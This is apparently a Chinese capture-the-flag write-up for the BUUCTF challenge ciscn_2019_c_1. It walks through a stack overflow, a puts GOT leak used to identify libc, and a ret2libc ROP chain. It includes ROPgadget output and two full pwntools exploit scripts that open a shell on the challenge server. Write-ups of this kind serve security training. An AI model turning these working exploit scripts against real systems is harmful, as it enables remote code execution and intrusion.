检查一下保护情况
ida里选项2,3都没有什么重要的信息,直接看选项1
发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作
用cyclic测一下溢出点,得到88
找一下system函数,没有;再找一下系统调用指令,也没有;
那么这题应该是要泄露libc了
那么我们找一下plt与got中puts函数的地址,因为之前运行过puts函数了,所以此时got中存放的就是puts函数在内存中的地址
调用puts函数时用的是plt中的地址,参数为rdi,所以我们找一下pop rdi,将rdi替换为puts函数在got表中的位置
调用puts函数,打印出puts函数的地址
找一下pop rdi
ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/11.ciscn_2019_c_1]
└─# ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
Unique gadgets found: 15
0x0000000000400c83 : pop rdi ; ret
这条可以用
然后打印出puts函数的地址
打印puts函数的地址
from pwn import *
#context.log_level = "debug"
p = remote('node5.buuoj.cn',26093)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400c83
encrypt = 0x4009a0
p.recvuntil(b'Input your choice!')
p.sendline(b'1')
payload = b'\x00'+b'A'*87
payload+= p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
p.recvuntil(b'Input your Plaintext to be encrypted')
p.sendline(payload)
p.recvuntil(b"Ciphertext")
puts_addr = u64(p.recv(8)[2:8].ljust(8,b'\x00'))
info(hex(puts_addr))
p.interactive()
利用info打印出puts函数的地址: 0x7fcee41e39c0
虽然libc基址在加载时会变动,但是libc中函数的低位却不会变,所以我们搜索一下puts函数的低三位9c0,利用这个网站:https://libc.blukat.me/?q=puts%3A9c0&l=libc6_2.27-0ubuntu2_amd64
puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 0x1b3e9a
下面开始写exp
exp
from pwn import *
#context.log_level = "debug"
p = remote('node5.buuoj.cn',26093)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']
pop_rdi = 0x400c83
ret = 0x4006b9
encrypt = 0x4009a0
puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 0x1b3e9a
p.recvuntil(b'Input your choice!')
p.sendline(b'1')
payload = b'\x00'+b'A'*87
payload+= p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
p.recvuntil(b'Input your Plaintext to be encrypted')
p.sendline(payload)
p.recvuntil(b"Ciphertext")
puts_addr = u64(p.recv(8)[2:8].ljust(8,b'\x00'))
#info(hex(puts_addr))
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
payload = b'\x00'+b'A'*87
payload+= p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)
p.sendline(payload)
p.interactive()